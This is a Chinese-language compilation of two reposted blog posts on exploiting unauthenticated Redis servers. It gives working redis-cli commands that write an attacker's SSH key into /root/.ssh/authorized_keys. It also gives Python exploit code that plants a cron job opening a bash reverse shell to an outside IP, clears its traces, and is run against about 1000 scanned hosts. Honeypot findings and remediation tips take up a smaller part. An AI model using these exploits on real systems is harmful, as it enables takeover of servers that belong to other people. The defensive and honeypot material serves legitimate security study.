Redis事件综合分析

0×00前言

redis未授权访问一直未被大家重视，直到11月4号，在这篇blog上被爆出：redis可以通过写入SSH Key进而控制服务器，安全人员开始大量关注这一事件。

0×01漏洞简介

暴露在公网的redis如果没有启用认证服务或者采用弱口令密钥对时，可被攻击者恶意登录，通过写入SSH公钥或者写入crontab执行命令的方式进而控制服务器。

0×02影响状况

百度泰坦平台对全网默认端口的redis进行探测，通过两天的数据对比，发现redis仍未被甲方公司重视。

其中弱口令的选取如下：

用户名
root
admin
redis
administrator
webadmin
sysadmin
netadmin
密码
123456
12345
123456789
password
iloveyou
redis
root
admin
12345678
1234567

国内redis状况:

中国是受危害最大的一个国家。主要数据如下：

国内redis未授权访问的主要城市分布：

0×03漏洞利用

方法一：

通过Redis的set方法，把自己生成的SSH公钥文件写入到user/.ssh的目录下，实现ssh免认证登录。

$ ssh-keygen -t rsa／／生成公钥$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
／／处理公钥格式写入文件
$ redis-cli -h 192.168.1.11 flushall
／／登录redis  删除所有数据库以及key（保证写入的数据不掺杂其他数据，慎用）
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit／／写入数据$ redis-cli -h 192.168.1.11 192.168.1.11:6379> config set dir /root/.ssh/设置保存路径192.168.1.11:6379> config set dbfilename "authorized_keys"设置数据库名192.168.1.11:6379> save保存数据库的内容到/root/.ssh/authorized_keys 保存的authorized_keys会覆盖之前的，会导致之前设置的免登录失效。

方法二：

写入到crontab 里执行。

通过Redis的set1 ‘xxx’命令使得写入数据始终在最前,保证执行成功，但写入数据较大（来源猪猪侠@wooyun）。

crontab 对执行的文件格式要求比较松散。

在centos里写入到/var/spool/cron目录。

参考方法一。

0×04漏洞跟踪

在我们自己部署的多台蜜罐中，采用redis的monitor进行监控。

redis-cli -h xx.xx.xx. monitor >ksdf.log

然后对log进行监控。

其中有台蜜罐在1小时内，就捕获了一条入侵命令。

46.151.53.230  来自于乌克兰的同胞的问候,此IP在我们收集的代理列表中命中,有可能只是一台跳板机器。

他的公钥如下

ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQC/Z+/g2nHKXaWxCJD1wpFRt8EuBi1ud2kIyouw+YN3JlAmslKAKCiHURwDs4n/gCwQZsw6cK3diLJj2yJ7IeWMaCNN5TeMhKnapyNV4FylrykBWOEJ+BW0Nlp1ntqAmE0rU+UslfroIjxMuzAJlGNbSe4oHiS6X2vdvYD6mYmqptnHjPhE58vqkjMiC1qpqR67G6Is+TX3IWrDLXVv6HQkLMqUVz+LU3m1/lCS/32xjBQwPzRf9ZY8sUb+aGMe0/jtQSiZCvCsm1O2ZlETgWLGgDQMlDfDc3rsOLsSZVG5L018+h6TdcKqKSDstLq76JdHJpBWN3lODKcQxyh4GNG5administrator@redis.io

其他获取到公钥如下

ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQC74d4oNJ2iLuPiX6ocXjuDANP1g6kRa0Zf89o0wRwumGKKCxwMJ6jl2pGpmETcFHgFUOUt/bOmnAqpIQUGmsF5Ta9EOKJbwaoxzGMsvenvNF+baGUe7rdAHEfc/IGemsAm6InI8nKUP/Qarm9572ORwoPk/jNY6i5bQLPeuRIcE4wnazQf7PW0qxitTAn2ejhDfbJRMiBm6eBL0ghgjJ3d1EddhKuC11/Iyx+SBo2RdSJM6w+3nIT6PWirlzgQCHcmY+0IaY1vfRpbyH14FEWIjEGNB68agpdO8YGtmSMPh6RxAghdIpbuOEqzrOf/XrTgqEcYPYl8jxL0Zwj5L4tHadmin@admin.com

ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQCcuHEVMRqY/Co/RJ5o5RTZmpl6sZ7U6w39WAvM7Scl7nGvr5mS4MRRIDaoAZpw7sPjmBHz2HwvAPYGCekcIVk8Xzc3p31v79fWeLXXyxts0jFZ8YZhYMZiugOgCKvRIs63DFf1gFoM/OHUyDHosi8E6BOi7ANqupScN8cIxDGsXMFr4EbQn4DoFeRTKLg5fHL9qGamaXXZRECkWHmjFYUZGjgeAiSYdZR49X36jQ6nuFBM18cEZe5ZkxbbtubnbAOMrB52tQX4RrOqmuWVE/Z0uCOBlbbG+9sKyY9wyp/aHLnRiyC8GBvbrZqQmyn9Yu1zBp3tY8Tt6DWmo6BLZV4/crack@redis.io

总结：

由于Redis 是覆盖写，多个黑客或团体一直在争夺最终的写入。

当如果发现自己的Redis突然被清空，在0号默认库中执行 keys * 命令只显示

"crackit" 或者其他奇怪的key,那么“恭喜”你中招了。

0×05修复建议

1.对自己的Redis加入认证，除非必要，否则不要把自身暴露到公网中，也不要以root启用Redis。
2.iptables 对自用固定的端口开启白名单。
3.查看自己的authorized_keys，以及crontab 任务，如果包含REDIS的开头，请重置。
4.确认自己被hack的机器，请检查 chkrootkit和 rootkit hunter检查rootkit。

http://www.chkrootkit.org

http://www.rootkit.nl/projects/rootkit_hunter.html

来自 http://www.freebuf.com/articles/terminal/86130.html

Redis Getshell自动化实践之cron

利用流程

1 通过redis未授权访问漏洞,向redis插入一条记录,内容是反弹shell的定时任务 
2 通过redis数据导出功能,将含有定时任务代码的数据导出到/var/spool/cron/root 
3 监听端口,获取shell

编写exp

完整代码: 
https://github.com/Xyntax/POC-T/blob/master/script/redis-cron-getshell.py

和之前的ssh-key相比简单了点.

首先判断是否存在未授权访问

r = redis.Redis(host=ip, port=port, db=0, socket_timeout=10)
if 'redis_version' in r.info():

• 1

• 2

构造定时任务代码

listen_ip = '115.28.1.1'
listen_port = 9999

payload = '\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/{ip}/{port} 0>&1\n\n'.format(ip=listen_ip,port=str(listen_port))

• 1

• 2

• 3

• 4

写入/var/spool/cron/root

path = '/var/spool/cron'
name = 'root'
key = randomString(10)
r.set(key, payload)
r.config_set('dir', path)
r.config_set('dbfilename', name)
r.save()

• 1

• 2

• 3

• 4

• 5

• 6

• 7

清除痕迹

r.delete(key)
r.config_set('dir', '/tmp')

• 1

• 2

这里没有验证是否真正能反弹,如果有需要的话可以把定时任务代码改成ping,然后使用cloudeye(api已集成到工具中)等dns日志工具做验证.

测试

加载1000个ZoomEye采集的redis站点,也可以使用--api --dork参数直接从ZoomEye采集

然后监听端口,一会就会有shell自动连过来

看下我们之前写入的文件

来自 https://blog.csdn.net/cd_xuyue/article/details/51982063